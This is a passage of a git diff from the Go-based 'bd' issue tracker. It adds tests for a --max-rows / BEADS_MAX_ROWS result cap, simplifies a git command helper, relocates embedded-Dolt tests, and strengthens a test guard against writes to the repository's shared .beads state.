doctor --check=conventions (env-only) ----------- - // - // bd doctor is hard-gated to server mode (doctor.go:188 prints "not yet - // supported in embedded mode" and exits 0 before reaching the check - // dispatch). The embedded-Dolt test rig used here cannot exercise those - // code paths. The cap logic itself runs through the shared SearchIssues + - // EnforceMaxRowsCap path already covered by: - // - TestEnforceMaxRowsCap_* (internal/storage/issueops/search_test.go) - // - TestGetReadyWork_MaxRowsSuite (cmd/bd/ready_max_rows_test.go) - // - be-x42v.3 storage parity tests (bd list/search backend matrix) - // What's _not_ covered without server mode is the env-only resolver - // (resolveMaxRowsEnvOnly) on these specific commands. doctor_conventions.go - // and doctor_pollution.go both call it and pipe through handleMaxRowsError - // identically to lint.go, which IS covered above by LintMaxRows_EnvOnly_Exits2. - // A server-mode follow-up should add behavioral coverage here. - - t.Run("ConventionsMaxRows_EnvOnly_Exits2", func(t *testing.T) { - t.Skip("bd doctor requires server mode (doctor.go:188); server-mode parity covered by separate validator bead") - }) - - t.Run("PollutionMaxRows_EnvOnly_Exits2", func(t *testing.T) { - t.Skip("bd doctor requires server mode (doctor.go:188); server-mode parity covered by separate validator bead") - }) - - // ----------- bd config show ----------- - - t.Run("ConfigShow_ListsBeadsMaxRows", func(t *testing.T) { - dir, _, _ := bdInit(t, bd, "--prefix", "mrcs") - - // When BEADS_MAX_ROWS is set in the environment, `bd config show` - // must surface it in the standalone-env entries (config_show.go - // collectStandaloneEnvEntries). - out, code := bdRunRaw(t, bd, dir, []string{"BEADS_MAX_ROWS=42"}, "config", "show") - if code != 0 { - t.Fatalf("expected exit 0 from `bd config show`, got %d\n%s", code, out) - } - if !strings.Contains(out, "BEADS_MAX_ROWS") { - t.Errorf("expected `bd config show` to list BEADS_MAX_ROWS in output:\n%s", out) - } - if !strings.Contains(out, "42") { - t.Errorf("expected `bd config show` to display the value 42:\n%s", out) - } - - // When the env var is unset, the entry must be absent (designer §4: - // opt-in only; default-disabled). - out2, code2 := bdRunRaw(t, bd, dir, nil, "config", "show") - if code2 != 0 { - t.Fatalf("expected exit 0 from `bd config show` (unset), got %d\n%s", code2, out2) - } - if strings.Contains(out2, "BEADS_MAX_ROWS") { - t.Errorf("expected BEADS_MAX_ROWS to be absent when env is unset:\n%s", out2) - } - }) -} - -// countListIDs returns the number of issue IDs of the form "-" -// observed in the combined `bd list` output. Used to verify that --limit -// actually clipped the result set without depending on JSON parsing of the -// pretty-printed array (which spans many lines). -func countListIDs(out, prefix string) int { - // Each list row prints the issue ID once; counting prefix occurrences in - // raw stdout is a robust enough check for our small fixtures. - return strings.Count(out, prefix+"-") -} - -// TestEmbeddedMaxRowsList covers the 10 designer §6.1 behavioral scenarios -// for `bd list`. Builder bead: be-x42v.2 (CLI wiring). All subtests share a -// single rig of 21 open task issues — the dataset size from the designer's -// fixture. -func TestEmbeddedMaxRowsList(t *testing.T) { - if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { - t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") - } - t.Parallel() - - bd := buildEmbeddedBD(t) - dir, _, _ := bdInit(t, bd, "--prefix", "mrl") - - const totalRows = 21 - for i := 0; i < totalRows; i++ { - bdCreate(t, bd, dir, fmt.Sprintf("List max-rows %d", i), "--type", "task") - } - - t.Run("Disabled_NoEnv", func(t *testing.T) { - // Baseline: with no flag and no env var, `bd list` returns all rows. - out, code := bdRunRaw(t, bd, dir, nil, "list") - if code != 0 { - t.Fatalf("expected exit 0 (no cap), got %d\n%s", code, out) - } - if strings.Contains(out, "too many rows") { - t.Errorf("baseline `bd list` should not emit cap error:\n%s", out) - } - if got := countListIDs(out, "mrl"); got < totalRows { - t.Errorf("expected at least %d rows in output, got %d", totalRows, got) - } - }) - - t.Run("Flag_UnderCap", func(t *testing.T) { - // 21 rows under cap=100: success. - out, code := bdRunRaw(t, bd, dir, nil, "list", "--max-rows", "100") - if code != 0 { - t.Fatalf("expected exit 0 (under cap), got %d\n%s", code, out) - } - if strings.Contains(out, "too many rows") { - t.Errorf("under-cap `bd list` should not emit cap error:\n%s", out) - } - }) - - t.Run("Flag_OverCap", func(t *testing.T) { - // 21 rows over cap=5: exit 2, stderr includes --max-rows=5, stdout - // empty (designer §2.3: stdout is suppressed so `jq` downstream - // doesn't trip on partial JSON). - out, code := bdRunRaw(t, bd, dir, nil, "list", "--json", "--max-rows", "5") - if code != 2 { - t.Fatalf("expected exit 2 (cap exceeded), got %d\n%s", code, out) - } - if !strings.Contains(out, "too many rows") { - t.Errorf("expected 'too many rows' in stderr:\n%s", out) - } - if !strings.Contains(out, "--max-rows=5") { - t.Errorf("expected source `--max-rows=5` in stderr:\n%s", out) - } - // stdout-emptiness check: there should be no JSON `[` array opener - // in the merged output before the error. Cap-exceeded must not emit - // a partial array. - if idx := strings.Index(out, "Error: too many rows"); idx >= 0 { - before := out[:idx] - if strings.Contains(before, "[") { - t.Errorf("stdout JSON output leaked before error message:\nbefore=%q\nfull=%s", before, out) - } - } - }) - - t.Run("Env_OverCap", func(t *testing.T) { - out, code := bdRunRaw(t, bd, dir, []string{"BEADS_MAX_ROWS=5"}, "list") - if code != 2 { - t.Fatalf("expected exit 2 (cap exceeded via env), got %d\n%s", code, out) - } - if !strings.Contains(out, "BEADS_MAX_ROWS=5") { - t.Errorf("expected source `BEADS_MAX_ROWS=5` in stderr:\n%s", out) - } - }) - - t.Run("Flag_OverridesEnv", func(t *testing.T) { - // env says cap=5, flag says cap=100 — flag wins, expect success. - out, code := bdRunRaw(t, bd, dir, []string{"BEADS_MAX_ROWS=5"}, - "list", "--max-rows", "100") - if code != 0 { - t.Fatalf("expected exit 0 (flag overrides env), got %d\n%s", code, out) - } - if strings.Contains(out, "too many rows") { - t.Errorf("flag-override should not emit cap error:\n%s", out) - } - }) - - t.Run("Flag_Zero_OverridesEnv", func(t *testing.T) { - // Explicit `--max-rows 0` disables the cap even when env is set - // (designer §2.1: ops shells with a global env can run a known- - // unbounded query without unsetting). - out, code := bdRunRaw(t, bd, dir, []string{"BEADS_MAX_ROWS=5"}, - "list", "--max-rows", "0") - if code != 0 { - t.Fatalf("expected exit 0 (--max-rows 0 disables), got %d\n%s", code, out) - } - if strings.Contains(out, "too many rows") { - t.Errorf("explicit `--max-rows 0` should disable the cap:\n%s", out) - } - }) - - t.Run("BadEnv_LogsAndIgnores", func(t *testing.T) { - // env=banana → warning to stderr, normal output, exit 0 - // (designer §2.1: fail-open on bad env so a typo in a global shell - // doesn't break automation). - out, code := bdRunRaw(t, bd, dir, []string{"BEADS_MAX_ROWS=banana"}, "list") - if code != 0 { - t.Fatalf("expected exit 0 (bad env ignored), got %d\n%s", code, out) - } - // max_rows.go:79 emits a "Warning: BEADS_MAX_ROWS=\"banana\" is not - // a non-negative integer; ignoring." line. - if !strings.Contains(out, "Warning") || !strings.Contains(out, "BEADS_MAX_ROWS") { - t.Errorf("expected warning about bad env in stderr:\n%s", out) - } - if strings.Contains(out, "too many rows") { - t.Errorf("bad env should not trigger cap error:\n%s", out) - } - }) - - t.Run("Negative_FlagRejected", func(t *testing.T) { - // max_rows.go:55 calls FatalError on negative — exit 1 with message. - out, code := bdRunRaw(t, bd, dir, nil, "list", "--max-rows", "-1") - if code != 1 { - t.Fatalf("expected exit 1 (usage error), got %d\n%s", code, out) - } - if !strings.Contains(out, "must be non-negative") { - t.Errorf("expected 'must be non-negative' in stderr:\n%s", out) - } - }) - - t.Run("LimitSet_CapTighter", func(t *testing.T) { - // limit=100, cap=5: 21 rows are scanned (LIMIT cap+1=6 sniffs - // overage), cap fires, exit 2. The --limit flag does not protect - // callers who set a generous limit but also opt into the cap. - out, code := bdRunRaw(t, bd, dir, nil, "list", - "--limit", "100", "--max-rows", "5") - if code != 2 { - t.Fatalf("expected exit 2 (cap tighter than limit), got %d\n%s", code, out) - } - if !strings.Contains(out, "--max-rows=5") { - t.Errorf("expected source `--max-rows=5` in stderr:\n%s", out) - } - }) - - t.Run("LimitSet_CapLooser", func(t *testing.T) { - // limit=5, cap=100: EffectiveSearchLimit returns 5 (limit wins when - // under cap), no overage detection, 5 rows returned, exit 0. - out, code := bdRunRaw(t, bd, dir, nil, "list", - "--limit", "5", "--max-rows", "100") - if code != 0 { - t.Fatalf("expected exit 0 (limit under cap), got %d\n%s", code, out) - } - if strings.Contains(out, "too many rows") { - t.Errorf("limit-under-cap should not emit cap error:\n%s", out) - } - if got := countListIDs(out, "mrl"); got != 5 { - t.Errorf("expected exactly 5 issue IDs in output, got %d:\n%s", got, out) - } - }) - - // be-x42v.4 follow-up (review MUST-FIX 4, revised round-3): --limit N - // --max-rows N with more than N matches must truncate to N and exit 0 - // (the standard >N-matches truncation semantics), not error. - // - // Round-2 fix (regressed, since replaced): unconditionally skipped the - // workapi.WithFetchOneExtra probe-row bump when Limit>=MaxRows. That avoided - // the false cap error but also stopped fetching the extra row entirely, - // so len(results) could never exceed effectiveLimit and the GH#3212 - // truncation notice silently stopped firing for this case — a partial - // result started presenting as complete. - // - // Round-3 fix: still fetch the probe row (Limit bumps to N+1 as - // normal), but when Limit==MaxRows exactly, bump MaxRows to N+1 too, in - // lockstep, so EnforceMaxRowsCap's comparison excludes the probe row - // from the cap check while the CLI's own len(results)>effectiveLimit - // truncation detection still sees it. See workapi.WithFetchOneExtra's doc - // comment in list.go for why this can't false-negative a real - // violation. Covered directly (bump values, not exit behavior) by - // TestWithFetchOneExtra_LimitEqualsCap_BumpsBothForTruncationProbe - // below, since printTruncationHint's text is gated on - // ui.IsStderrTerminal() and unconditionally suppressed for this - // subprocess harness's piped stderr (see list_embedded_test.go's - // limit_truncation_hint subtest) — these end-to-end subtests can only - // assert the absence of the false cap error and the delivered count. - t.Run("LimitEqualsCap_TruncatesNotErrors", func(t *testing.T) { - out, code := bdRunRaw(t, bd, dir, nil, "list", - "--limit", "5", "--max-rows", "5") - if code != 0 { - t.Fatalf("expected exit 0 (limit==cap truncates, does not error), got %d\n%s", code, out) - } - if strings.Contains(out, "too many rows") { - t.Errorf("limit==cap should not emit cap error:\n%s", out) - } - if got := countListIDs(out, "mrl"); got != 5 { - t.Errorf("expected exactly 5 issue IDs in output, got %d:\n%s", got, out) - } - }) - - t.Run("LimitEqualsCap_JSON_TruncatesNotErrors", func(t *testing.T) { - out, code := bdRunRaw(t, bd, dir, nil, "list", "--json", - "--limit", "5", "--max-rows", "5") - if code != 0 { - t.Fatalf("expected exit 0 (limit==cap truncates under --json), got %d\n%s", code, out) - } - if strings.Contains(out, "too many rows") { - t.Errorf("limit==cap under --json should not emit cap error:\n%s", out) - } - }) - - // be-x42v.4 round-4 follow-up: the round-3 fix to - // finishReadyWorkWithCounts (trim to Limit before EnforceMaxRowsCap) - // wasn't mirrored onto the sibling bd list search paths - // (searchInTx in search.go, finishSearchIssuesWithCounts in - // search_counts.go), which still capped the pre-trim merged - // issues+wisps set. `--include-infra` disables the default SkipWisps - // escape hatch, so the wisps merge actually runs. limit=2, cap=5, 3 - // durable + 3 wisp issues: each leg's query is independently bounded - // by EffectiveSearchLimit, so the merge can produce up to 6 rows - // pre-trim (>cap=5) even though the delivered page (trimmed to 2) is - // well within the cap. Covers both bd list output modes (opus's live - // repro found both non-JSON and --json tripping the false cap error). - t.Run("IncludeInfraMergedUnderLimit_NoError", func(t *testing.T) { - mDir, _, _ := bdInit(t, bd, "--prefix", "mrii") - for i := 0; i < 3; i++ { - bdCreate(t, bd, mDir, fmt.Sprintf("Durable infra %d", i), "--type", "task") - } - for i := 0; i < 3; i++ { - bdCreate(t, bd, mDir, fmt.Sprintf("Wisp infra %d", i), "--type", "task", "--ephemeral") - } - - out, code := bdRunRaw(t, bd, mDir, nil, "list", "--include-infra", - "--limit", "2", "--max-rows", "5") - if code != 0 { - t.Fatalf("expected exit 0 (delivered page under cap despite pre-trim merge overage), got %d\n%s", code, out) - } - if strings.Contains(out, "too many rows") { - t.Errorf("delivered-page-under-cap should not emit cap error:\n%s", out) - } - - outJSON, codeJSON := bdRunRaw(t, bd, mDir, nil, "list", "--include-infra", "--json", - "--limit", "2", "--max-rows", "5") - if codeJSON != 0 { - t.Fatalf("expected exit 0 under --json (delivered page under cap despite pre-trim merge overage), got %d\n%s", codeJSON, outJSON) - } - if strings.Contains(outJSON, "too many rows") { - t.Errorf("delivered-page-under-cap under --json should not emit cap error:\n%s", outJSON) - } - }) - - // be-x42v.4 round-5 follow-up: searchInTx's merge branch concatenates - // two independently ORDER BY'd legs (`append(filtered, wispResults...)`) - // and round-4's trimToSearchLimit then sliced that unsorted - // concatenation — with Limit small enough that durable rows alone fill - // it, a higher-ranked wisp was silently dropped from the page even - // though the CLI's pre-round-4 behavior (return the full merged set, - // let the caller sort-then-trim) surfaced it correctly. Default sort is - // priority ASC: 3 durable issues at P2, one wisp at P0 (highest rank) - // — with --limit 1 the P0 wisp must be the sole delivered row, not one - // of the P2 durable rows the unsorted concatenation happened to put - // first. Must fail against 77227aa67. - t.Run("IncludeInfraMerged_WispOutranksDurable_InDeliveredPage", func(t *testing.T) { - mDir, _, _ := bdInit(t, bd, "--prefix", "mrwo") - for i := 0; i < 3; i++ { - bdCreate(t, bd, mDir, fmt.Sprintf("Durable p2 %d", i), "--type", "task", "--priority", "2") - } - wisp := bdCreate(t, bd, mDir, "Wisp p0 outranks", "--type", "task", "--priority", "0", "--ephemeral") - - out, code := bdRunRaw(t, bd, mDir, nil, "list", "--include-infra", "--limit", "1") - if code != 0 { - t.Fatalf("expected exit 0, got %d\n%s", code, out) - } - if !strings.Contains(out, wisp.ID) { - t.Errorf("P0 wisp %s must be the sole row in a --limit 1 page (default sort is priority ASC), got:\n%s", wisp.ID, out) - } - - outJSON, codeJSON := bdRunRaw(t, bd, mDir, nil, "list", "--include-infra", "--json", "--limit", "1") - if codeJSON != 0 { - t.Fatalf("expected exit 0 under --json, got %d\n%s", codeJSON, outJSON) - } - if !strings.Contains(outJSON, wisp.ID) { - t.Errorf("P0 wisp %s must be the sole row in a --limit 1 --json page, got:\n%s", wisp.ID, outJSON) - } - }) - - // be-x42v.4 follow-up (review MUST-FIX 5): the initial query under - // `bd list --watch` must surface a cap violation with exit 2, same as - // non-watch `bd list`. Before the fix, watchIssues logged the error to - // stderr itself and returned void, so the process always exited 0 — - // the failure never reached RunE/handleMaxRowsError. This subprocess - // exercises only the initial-query failure path (returns before - // entering the polling loop), so it terminates without needing Ctrl+C. - t.Run("Watch_FlagOverCap_Exits2", func(t *testing.T) { - out, code := bdRunRaw(t, bd, dir, nil, "list", "--watch", "--max-rows", "5") - if code != 2 { - t.Fatalf("expected exit 2 (cap exceeded under --watch), got %d\n%s", code, out) - } - if !strings.Contains(out, "too many rows") { - t.Errorf("expected 'too many rows' in stderr:\n%s", out) - } - if !strings.Contains(out, "--max-rows=5") { - t.Errorf("expected source `--max-rows=5` in stderr:\n%s", out) - } - }) -} - -// TestWithFetchOneExtra_LimitEqualsCap_BumpsBothForTruncationProbe verifies -// the exact bump mechanism workapi.WithFetchOneExtra uses to reconcile the -// >N-matches truncation probe (GH#3212) with a MaxRows cap equal to the -// user's --limit (be-x42v.4 round-3 follow-up). -// -// The end-to-end LimitEqualsCap_TruncatesNotErrors subprocess test in -// TestEmbeddedMaxRowsList can only assert the *absence* of the false cap -// error and the trimmed row count — it can't observe the truncation -// *notice* text, which printTruncationHint gates on ui.IsStderrTerminal() -// and is unconditionally suppressed for a subprocess's piped stderr (see -// list_embedded_test.go's limit_truncation_hint subtest, which documents -// the same TTY constraint). This unit test instead asserts the underlying -// signal directly: with Limit==MaxRows, both must bump by one so the query -// still over-fetches by one row (restoring len(results) > effectiveLimit -// detection) while EnforceMaxRowsCap doesn't trip on that extra row. func TestWithFetchOneExtra_LimitEqualsCap_BumpsBothForTruncationProbe(t *testing.T) { got := workapi.WithFetchOneExtra(types.IssueFilter{Limit: 5, MaxRows: 5, MaxRowsSource: "--max-rows"}) if got.Limit != 6 { diff --git a/cmd/bd/prime.go b/cmd/bd/prime.go index e7bc1a4c1..adec80396 100644 --- a/cmd/bd/prime.go +++ b/cmd/bd/prime.go @@ -299,15 +299,14 @@ func primeWorkspaceDir() string { // NOTE: the probes built here are not prime-only — see primeHasGitRemote for // the auto-backup consumer that inherits this directory choice. // -// NOTE: since GH#4927 every return path pairs with a nil error — the -// GetRepoContext() failure falls back to a cwd probe instead of propagating — -// so the err != nil arms at both call sites are unreachable today. The error -// result is retained for future callers that can genuinely fail. -func primeGitCmd(ctx context.Context, args ...string) (*exec.Cmd, error) { +// NOTE: since GH#4927 every return path is infallible — the GetRepoContext() +// failure falls back to a cwd probe instead of propagating — so this no +// longer returns an error. If a future caller needs one, reintroduce it then. +func primeGitCmd(ctx context.Context, args ...string) *exec.Cmd { if ws := primeWorkspaceDir(); ws != "" { cmd := exec.CommandContext(ctx, "git", args...) cmd.Dir = ws - return cmd, nil + return cmd } rc, err := internalbeads.GetRepoContext() if err != nil { @@ -318,9 +317,9 @@ func primeGitCmd(ctx context.Context, args ...string) (*exec.Cmd, error) { // workspace, so probe it directly instead of giving up. The SEC-003 // boundary on BEADS_DIR stays enforced by the callers that consume // BEADS_DIR itself; these probes only ask git about its own workspace. - return exec.CommandContext(ctx, "git", args...), nil + return exec.CommandContext(ctx, "git", args...) } - return rc.GitCmdCWD(ctx, args...), nil + return rc.GitCmdCWD(ctx, args...) } // outputHookJSON wraps content in the SessionStart hook JSON envelope shared @@ -390,10 +389,7 @@ func isMCPActive() bool { var isEphemeralBranch = func() bool { // git rev-parse --abbrev-ref --symbolic-full-name @{u} // Returns error code 128 if no upstream configured - cmd, err := primeGitCmd(context.Background(), "rev-parse", "--abbrev-ref", "--symbolic-full-name", "@{u}") - if err != nil { - return true // Default to ephemeral if we can't determine context - } + cmd := primeGitCmd(context.Background(), "rev-parse", "--abbrev-ref", "--symbolic-full-name", "@{u}") return cmd.Run() != nil } @@ -427,10 +423,7 @@ var primeAgentProfile = func() config.AgentProfile { // which keeps the -C behavior above intact. The SEC-003 boundary on BEADS_DIR // remains enforced elsewhere. var primeHasGitRemote = func() bool { - cmd, err := primeGitCmd(context.Background(), "remote") - if err != nil { - return false - } + cmd := primeGitCmd(context.Background(), "remote") out, err := cmd.Output() if err != nil { return false diff --git a/cmd/bd/purge_wisps_plane_embedded_test.go b/cmd/bd/purge_wisps_plane_embedded_test.go new file mode 100644 index 000000000..7d98671af --- /dev/null +++ b/cmd/bd/purge_wisps_plane_embedded_test.go @@ -0,0 +1,18 @@ +//go:build cgo + +package main + +import ( + "os" + "testing" +) + +func TestEmbeddedPurgeWispsPlaneRetention(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "pwp") + runPurgeRetentionScenario(t, embeddedPurgeScenarioRunner(bd, dir)) +} diff --git a/cmd/bd/purge_wisps_plane_integration_test.go b/cmd/bd/purge_wisps_plane_integration_test.go index c7147f3ee..dc0845a47 100644 --- a/cmd/bd/purge_wisps_plane_integration_test.go +++ b/cmd/bd/purge_wisps_plane_integration_test.go @@ -4,7 +4,6 @@ package main import ( "encoding/json" - "os" "os/exec" "strings" "testing" @@ -188,16 +187,6 @@ func proxiedPurgeScenarioRunner(bd string, p proxiedProject) purgeScenarioRunner } } -func TestEmbeddedPurgeWispsPlaneRetention(t *testing.T) { - if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { - t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") - } - t.Parallel() - bd := buildEmbeddedBD(t) - dir, _, _ := bdInit(t, bd, "--prefix", "pwp") - runPurgeRetentionScenario(t, embeddedPurgeScenarioRunner(bd, dir)) -} - func TestProxiedServerPurgeWispsPlaneRetention(t *testing.T) { requireSharedProxiedServer(t) t.Parallel() diff --git a/cmd/bd/store_factory_embedded_test.go b/cmd/bd/store_factory_embedded_test.go new file mode 100644 index 000000000..c111543f3 --- /dev/null +++ b/cmd/bd/store_factory_embedded_test.go @@ -0,0 +1,24 @@ +//go:build cgo + +package main + +import ( + "strings" + "testing" + + "github.com/steveyegge/beads/internal/storage/embeddeddolt" +) + +// TestEmbeddedOpen_EmptyDatabaseRejected verifies that embeddeddolt.Open fails +// with a clear error when called with an empty database name, rather than +// deferring to a confusing "no database selected" SQL error. +// Belt-and-suspenders defense for be-sy8 / GH#2988. +func TestEmbeddedOpen_EmptyDatabaseRejected(t *testing.T) { + _, err := embeddeddolt.Open(t.Context(), t.TempDir(), "", "main") + if err == nil { + t.Fatal("expected error for empty database name") + } + if !strings.Contains(err.Error(), "database name must not be empty") { + t.Errorf("unexpected error: %v", err) + } +} diff --git a/cmd/bd/store_factory_test.go b/cmd/bd/store_factory_test.go index 6f76dd92c..aec0dd965 100644 --- a/cmd/bd/store_factory_test.go +++ b/cmd/bd/store_factory_test.go @@ -16,7 +16,6 @@ import ( "github.com/steveyegge/beads/internal/config" "github.com/steveyegge/beads/internal/configfile" "github.com/steveyegge/beads/internal/storage/dolt" - "github.com/steveyegge/beads/internal/storage/embeddeddolt" ) // TestNewDoltStoreFromConfig_NoMetadata verifies that newDoltStoreFromConfig @@ -308,20 +307,6 @@ func TestOpenNonMutatingStoreHonorsSharedServerConfig(t *testing.T) { // a correct implementation. const readOnlySharedServerPort = "19998" -// TestEmbeddedOpen_EmptyDatabaseRejected verifies that embeddeddolt.Open fails -// with a clear error when called with an empty database name, rather than -// deferring to a confusing "no database selected" SQL error. -// Belt-and-suspenders defense for be-sy8 / GH#2988. -func TestEmbeddedOpen_EmptyDatabaseRejected(t *testing.T) { - _, err := embeddeddolt.Open(t.Context(), t.TempDir(), "", "main") - if err == nil { - t.Fatal("expected error for empty database name") - } - if !strings.Contains(err.Error(), "database name must not be empty") { - t.Errorf("unexpected error: %v", err) - } -} - // TestNewDoltStoreFromConfig_HyphenatedDBName verifies that // newDoltStoreFromConfig auto-sanitizes hyphenated database names for embedded // mode and persists the fix to metadata.json. diff --git a/cmd/bd/test_repo_beads_guard_test.go b/cmd/bd/test_repo_beads_guard_test.go index 3857d8fc1..94f4b7838 100644 --- a/cmd/bd/test_repo_beads_guard_test.go +++ b/cmd/bd/test_repo_beads_guard_test.go @@ -8,8 +8,11 @@ import ( "strings" "testing" + "github.com/steveyegge/beads/internal/beads" + "github.com/steveyegge/beads/internal/ceiling" "github.com/steveyegge/beads/internal/config" "github.com/steveyegge/beads/internal/doltserver" + "github.com/steveyegge/beads/internal/git" "github.com/steveyegge/beads/internal/metrics" "github.com/steveyegge/beads/internal/migration" "github.com/steveyegge/beads/internal/testutil" @@ -79,6 +82,58 @@ func TestMain(m *testing.M) { func testMainInner(m *testing.M) int { origWD, _ := os.Getwd() + // Computed once and reused below for the pin, the ceiling-var boundary, + // and the guard's own watch setup, so all three agree on exactly which + // checkout this process started in. + repoRoot := findRepoRootFrom(origWD) + + // Fence the whole test binary's beads/git discovery before any test (or + // package-level init/sync.Once) gets a chance to make the first + // cached-git-context call from this worktree checkout. Without this, that + // first call permanently answers isWorktree=true / a real + // --git-common-dir for the rest of the process — regardless of later + // per-test chdirs — and beads.FindBeadsDir's worktree-fallback discovery + // then treats that as license to read and write the main checkout's + // shared .beads database (e.g. /data/projects/beads/.beads when this + // worktree is a sibling checkout). Pinning "no repository" for repoRoot + // (not just the package directory this process started in) makes that + // ambient state inert by default for any subdirectory of the checkout a + // test might chdir into, and keeps answering that way even after + // git.ResetCaches: see PinNoRepositoryUnderForTesting's doc. Tests that + // need real git behavior chdir OUTSIDE repoRoot into a fixture they + // control (cmd/bd/git_test_helpers.go's runInDir, normally a + // t.TempDir()) and call git.ResetCaches/beads.ResetCaches there, which + // gets real detection scoped to that fixture — the pin only answers for + // repoRoot and its descendants. + // + // Residual scope this pin does NOT cover: -C (main.go's flag handling) + // and doctor.ResolveBeadsDirForRepo's callers resolve a beads directory + // by shelling out to `git -C

...` directly + // (internal/beads/beads.go's FindBeadsDirFrom/ResolveBeadsDirForRepo), + // never reading this package's cached git context at all, so this pin + // cannot fence them. No test in this package currently exercises that + // path against the real checkout, so it is an untested gap rather than + // a guarded one — flagged here rather than silently assumed covered. + if repoRoot != "" { + git.PinNoRepositoryUnderForTesting(repoRoot) + } + beads.ResetCaches() + + // Separately bound any literal ancestor-directory walk that starts + // at (or under) this checkout: the pin above only defeats the + // git-context-cache vector, not a plain upward walk from a worktree + // nested under a directory that itself has a .beads (e.g. a scratch + // checkout under a dir with a live .beads ancestor). Append rather than + // overwrite: Bazel's tools/bazel/test_env.sh already sets a ceiling + // derived from TEST_SRCDIR/TEST_TMPDIR for bazel-run tests, and this + // must only add a boundary, never remove one those runs rely on. + if repoRoot != "" { + ceilingList := repoRoot + if existing := os.Getenv(ceiling.EnvVar); existing != "" { + ceilingList = existing + string(os.PathListSeparator) + repoRoot + } + _ = os.Setenv(ceiling.EnvVar, ceilingList) + } // Isolate config discovery from the repo's tracked `.beads/config.yaml`. // Many tests expect default config values; running from within this repo would @@ -250,17 +305,43 @@ func testMainInner(m *testing.M) int { return runTestsAndSweep(m) } - repoRoot := findRepoRootFrom(origWD) if repoRoot == "" { return runTestsAndSweep(m) } repoBeadsDir := filepath.Join(repoRoot, ".beads") - if _, err := os.Stat(repoBeadsDir); err != nil { + // Backstop: also watch the shared worktree-fallback .beads directory that + // beads.FindBeadsDir's discovery would fall back to for a linked worktree + // (e.g. the main checkout's .beads when this package's repo root is a + // worktree). This is computed directly via git plumbing, independent of + // the process-wide cache PinNoRepositoryUnderForTesting neutralizes + // above, so it still catches pollution if that pin is ever bypassed or + // narrowed. Computed and checked BEFORE deciding whether repoBeadsDir + // itself exists: a linked worktree with no local .beads of its own is + // exactly the layout where the fallback is live, so skipping this whole + // function when repoBeadsDir is absent would guard nothing in precisely + // the case that matters most. + fallbackBeadsDir := worktreeFallbackBeadsDirDirect(repoRoot) + + var guardDirs []string + if _, err := os.Stat(repoBeadsDir); err == nil { + guardDirs = append(guardDirs, repoBeadsDir) + } + if fallbackBeadsDir != "" && fallbackBeadsDir != repoBeadsDir { + if _, err := os.Stat(fallbackBeadsDir); err == nil { + guardDirs = append(guardDirs, fallbackBeadsDir) + } + } + if len(guardDirs) == 0 { return runTestsAndSweep(m) } - watch := []string{ + // Top-level files checked by exact name. interactions.jsonl is excluded: + // legitimately created by init during tests. last-touched is excluded: + // it is bumped by any `bd` invocation anywhere in the checkout, including + // other processes sharing it concurrently, so it is not a reliable signal + // of this suite's own writes. + watchFiles := []string{ "beads.db", "beads.db-wal", "beads.db-shm", @@ -268,17 +349,45 @@ func testMainInner(m *testing.M) int { "issues.jsonl", "beads.jsonl", "metadata.json", - // interactions.jsonl excluded: legitimately created by init during tests + "config.yaml", + "routes.jsonl", "deletions.jsonl", "molecules.jsonl", } - before := snapshotFiles(repoBeadsDir, watch) - code := runTestsAndSweep(m) - after := snapshotFiles(repoBeadsDir, watch) + // dirSnapshot pairs the flat top-level watch with a recursive snapshot of + // dolt/, the Dolt backend's own state directory. A flat name list can't + // see writes inside dolt/ (e.g. a `bd create` landing a real commit in + // the fallback's database), so this is required for the guard to mean + // what its error message claims for a Dolt-backed fallback workspace. + type dirSnapshot struct { + flat, dolt map[string]fileSnap + } + snapshotDir := func(dir string) dirSnapshot { + return dirSnapshot{ + flat: snapshotFiles(dir, watchFiles), + dolt: snapshotDoltTree(filepath.Join(dir, "dolt")), + } + } - if diff := diffSnapshots(before, after); diff != "" { - fmt.Fprintf(os.Stderr, "ERROR: test suite modified repo .beads state:\n%s\n", diff) + before := make(map[string]dirSnapshot, len(guardDirs)) + for _, dir := range guardDirs { + before[dir] = snapshotDir(dir) + } + code := runTestsAndSweep(m) + + var allDiffs string + for _, dir := range guardDirs { + after := snapshotDir(dir) + diff := diffSnapshots(before[dir].flat, after.flat) + diff += diffSnapshots(before[dir].dolt, after.dolt) + if diff != "" { + allDiffs += fmt.Sprintf("in %s:\n%s", dir, diff) + } + } + + if allDiffs != "" { + fmt.Fprintf(os.Stderr, "ERROR: test suite modified repo .beads state:\n%s\n", allDiffs) if code == 0 { code = 1 } @@ -287,6 +396,50 @@ func testMainInner(m *testing.M) int { return code } +// worktreeFallbackBeadsDirDirect resolves the shared .beads directory a +// linked worktree at repoRoot would fall back to, via a direct git shell-out +// independent of internal/git's process-wide cache (which +// PinNoRepositoryUnderForTesting deliberately neutralizes above). Mirrors +// internal/beads's worktreeFallbackBeadsDirForRepo; kept local and minimal +// since this is a test-only detection backstop, not production discovery. +func worktreeFallbackBeadsDirDirect(repoRoot string) string { + if repoRoot == "" { + return "" + } + cmd := exec.Command("git", "-C", repoRoot, "rev-parse", "--git-dir", "--git-common-dir") + out, err := cmd.Output() + if err != nil { + return "" + } + lines := strings.Split(strings.TrimSpace(string(out)), "\n") + if len(lines) < 2 { + return "" + } + gitDir := resolveGitPath(repoRoot, strings.TrimSpace(lines[0])) + commonDir := resolveGitPath(repoRoot, strings.TrimSpace(lines[1])) + if gitDir == "" || commonDir == "" || gitDir == commonDir { + return "" // not a worktree + } + if filepath.Base(commonDir) == ".git" { + return filepath.Join(filepath.Dir(commonDir), ".beads") + } + return filepath.Join(commonDir, ".beads") +} + +func resolveGitPath(repoRoot, p string) string { + if p == "" { + return "" + } + if !filepath.IsAbs(p) { + p = filepath.Join(repoRoot, p) + } + abs, err := filepath.Abs(p) + if err != nil { + return "" + } + return abs +} + type fileSnap struct { exists bool size int64 @@ -307,10 +460,43 @@ func snapshotFiles(dir string, names []string) map[string]fileSnap { return out } +// snapshotDoltTree walks dir recursively and returns a map keyed by path +// relative to dir, for directories whose structure itself needs watching +// (e.g. 